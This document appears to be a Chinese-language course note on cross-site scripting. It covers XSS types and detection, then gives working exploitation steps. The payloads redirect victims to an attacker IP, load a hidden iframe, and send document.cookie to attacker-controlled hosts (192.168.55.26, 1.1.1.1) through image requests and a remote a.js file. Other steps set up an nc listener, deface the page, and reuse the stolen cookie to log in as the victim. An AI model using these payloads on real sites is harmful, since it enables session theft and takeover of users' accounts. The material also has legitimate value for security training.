任务098:XSS-简介、跨站脚本检测和常见的攻击利用手段
XSS漏洞攻击客户端
- 访问网站
- 客户端用浏览器访问web,web返回的内容有返回给客户端浏览器执行的程序叫做客户端脚步代码
- 访问web都是拿到很多种元素,html,CSS,图片,和客户端脚步Javascript简称js,XSS就是利用的js
- 介绍js
- 利用js程序可以在客户端运行配置修改设置,像弹出窗口,输入检测,广告小窗口
- 漏洞原理
- 黑客把恶意的js客户端脚步代码注入到服务器里可以是《持久些的》或者《一次性的》然后发送给客户端执行
- js权限是比较受限制的可能执行对客户端进行控制
- 漏洞可以实现
- 可以窃取到用户端的信息
- 盗窃Cookie
- 重定向到另外一个网站里
- 常用的客户端脚本代码语言
- VBScript, ActiveX, or Flash
XSS漏洞类型
- 存储型(耐久型)
- 进行客户端的攻击
- 进行网站的DDoS攻击
- 进行客户端的攻击
- 反射型(非持型)
- 原理
- 实现
- 原理
- DOM型
直接在浏览器端进行恶意代码的执行,不会向服务器发请求,可以说DOM型是一种特殊的反射型
开始操作
-
发现漏洞
-
我们提交一个字服务器会返回给我们一样的字就有可能存在XSS漏洞
-
用Burp参看请求和响应
1.请求2.响应
-
我们想象如果提交一个html代码那
<h1>a<h1>
发现代码被执行了
重定向:我们在写一个html代码连接<a href=http://www.baidu.com/>a</a>
是存在XSS漏洞的发现可以打击a直接就访问重定向了百度了
参看一下响应的包发现代码被修改了是存在XSS漏洞的
-
用弹出窗口参看是否有XSS漏洞
弹出窗口js代码<script>alert('a')</script>
是存在XSS漏洞的
-
-
XSS漏洞利用
1.重定向叫客户端访问地址
,访问我的地址我可以参看他的浏览器的信息
用nc进行监听80端口nc -vnlp 80
在输入
<script>window.location='http://192.168.55.26/'</script>
意思:window.location是js脚本语言里的窗口显示的位置
可以看见nc有请求包里有请求信息
还有一个<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
上面差不多2.获取cookie
在有XSS漏洞地方输入
<script>new Image().src="http://192.168.55.26/c.php? output="+document.cookie;</script>
意思:document.cookie特性dom读取cookie值
拿到被攻击端的当前cookie成功
3.伪装篡改页面
在有XSS漏洞地方输入
<script>document.body.innerHTML="<div style=visibility:visible;><h1>网站已经被我入侵</h1></div>";</script>
意思:document.body.用dom特性dom.body这个body插入html内容
-
用第三方.js恶意代码在客户端执行
大多数黑客可能会利用第三方服务器,在用XSS漏洞在第三方服务器拿到恶意的.js代码来交给客户端来执行,第三方服务器也可以是黑客自己的服务器但是黑客不会用自己的服务器,用肉鸡服务器
用下面这个代码
下面代码意思是在http://1.1.1.1/拿a.js代码<script src=http://1.1.1.1/a.js></script>
下面开始演示
里面放的js代码
var img = new Image(); img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
上面代码意思将cookie交付给http://1.1.1.1/服务器
这个我不能用指定个端口应为上面用的服务器就是这个电脑的服务器指定一个其他端口
用nc监听这个端口接受目标客户端的cookie
发送请求
拿到了cookie
就可以登陆被攻击人的网页了拿到的cookie进行登陆
修改网站cookie
登陆成功